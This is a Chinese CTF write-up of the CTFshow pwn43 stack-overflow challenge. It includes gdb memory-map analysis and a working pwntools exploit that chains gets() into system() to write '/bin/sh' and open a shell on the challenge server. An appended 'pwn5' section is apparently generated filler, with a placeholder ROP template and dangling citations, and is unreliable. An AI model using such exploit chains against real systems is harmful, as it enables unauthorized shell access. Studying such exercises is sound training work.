CTFshow-PWN-栈溢出(pwn43)

32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

检查:32 位程序 

ida 分析:

跟进 ctfshow 函数

定义了一个长度为 104 的字符数组 s,gets() 函数被用来从标准输入(键盘)中读取字符串,并存储到数组 s 中,函数返回了这个数组的指针。gets() 函数不会检查输入字符串的长度是否超出了数组的容量,因此会造成栈溢出。

这里找到了 system 函数的地址:0x8048450

但是并未找到 /bin/sh 或者 sh 这种现成的字符串作为 system 函数的参数

那么这种情况我们就需要手动写入一个 /bin/sh 或者 sh

首先我们需要找到可写入的地址在哪儿

使用 gdb 调试目标程序:

gdb pwn

设置断点:

break main

启动被调试的程序:

run

使用 vmmap 命令查看进程的内存映射情况,包括每个内存段的权限信息:

vmmap

rw-p 表示这段内存(0x804b000 到 0x804c000)是可读写的

-p 标志表示内存区域的权限,它由四个字符组成,每个字符分别代表一个权限:

r:可读(Readable)
w:可写(Writable)
x:可执行(Executable)
s:共享(Shared)

1000 和 2000:是内存区域的大小,这段内存的大小是 0x2000,即 8192 字节;

/home/ctfshow/Desktop/pwn/栈溢出/pwn43/pwn:这是内存区域的名称,表示这段内存是由哪个文件映射而来的,这里这段内存来自于名为 pwn 的可执行文件。

在这段地址范围上找到了一个 buf2 变量,我们可以利用这个缓冲区指针来存储输入的数据(/bin/sh),再传递给 system 函数的第一个参数,即可构造 system("/bin/sh")。

buf2 的地址:0x804B060

这里可以使用gets 函数来写入

gets 函数的地址:0x8048420

往 buf2 的地址写入 "/bin/sh" 然后让 system 参数指向这段地址

编写 exp:

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28227)
offset = (0x6C+4)
system_addr = 0x8048450
buf2_addr = 0x804B060
gets_addr = 0x8048420
payload = b'a'*offset + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

关于这个 payload 的详细解释:

在函数调用中,参数会按照一定的顺序压入栈中,然后函数会依次读取这些参数。

b'a'*offset:这部分是填充数据,长度为 offset,目的是为了覆盖函数的返回地址,并确保我们能够控制程序的执行流程。

p32(gets_addr):这是 gets() 函数的地址,我们将覆盖函数返回地址为 gets() 函数的地址,这样在程序返回时会跳转到 gets() 函数执行,我们就可以利用 gets() 函数从输入中获取数据。 p32(system_addr):这是 system() 函数的地址,我们将覆盖 gets() 函数的返回地址为 system() 函数的地址,这样在 gets() 函数执行完毕后,程序会继续执行 system() 函数。

而后面的两个 p32(buf2_addr) 分别作为 gets 函数与 system 函数的参数

第一个参数是用 gets() 函数读取的数据,也就是我们要写的 buf2 的地址(写入后 buf2 的地址也就是 "/bin/sh" 字符串的地址);
第二个参数也是 "/bin/sh" 字符串的地址,因为 system() 函数会使用这个地址作为命令参数。

可以打通,获取 shell 后直接执行命令 

拿到 flag:ctfshow{c9688abd-3198-4be6-bd31-ed98f1a06ee3}

### CTF SHOW PWN入门 pwn5 解法 对于CTF SHOW平台上的PWN挑战,尤其是针对`pwn5`这一题目,解决方法通常涉及对二进制漏洞的理解以及如何利用这些漏洞来获取flag。 #### 题目分析 在处理这类问题时,首先需要下载并理解目标程序的行为模式。通过逆向工程工具如IDA Pro或Ghidra可以查看可执行文件内部结构,识别潜在的安全缺陷[^1]。 #### 漏洞发现 经过初步审查后得知此题存在栈溢出的可能性。当输入长度超过缓冲区大小时未作适当检查便直接复制到固定空间内,这使得攻击者能够覆盖返回地址从而控制EIP寄存器指向任意位置执行恶意代码片段[^2]。 #### 利用技巧 为了成功完成该关卡,需构建特定格式的数据包作为输入发送给服务端进程。这里采用的方法是构造ROP链(Return-Oriented Programming Chain),即精心挑选一系列现有指令序列组合起来实现所需功能而不必注入额外shellcode: ```python from pwn import * context(os="linux", arch="amd64") binary_path = './path_to_binary' elf = ELF(binary_path) # 远程连接设置 host, port = "remote_host", 1234 conn = remote(host, int(port)) # 构造payload offset = ... # 计算偏移量 ret_address = ... pop_rdi_ret_gadget = ... payload = b'A' * offset + \ p64(pop_rdi_ret_gadget) + \ p64(target_function_arg) + \ p64(ret_address) conn.recvuntil(b'Tell me your name:') conn.sendline(payload) ``` 上述Python脚本展示了基本框架,实际应用中还需根据具体情况调整参数值,比如计算正确的偏移量(offset),找到合适的gadgets等[^3]。 #### 获取Flag 一旦成功触发了预期行为,则可以通过读取内存中的字符串或其他方式获得最终答案。例如,在某些情况下可能需要解析动态链接库表项以定位标准I/O函数的实际映射地址,进而打印出隐藏信息;而在另一些场景下则可能是直接调用了puts()之类的API输出预设好的标志位[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值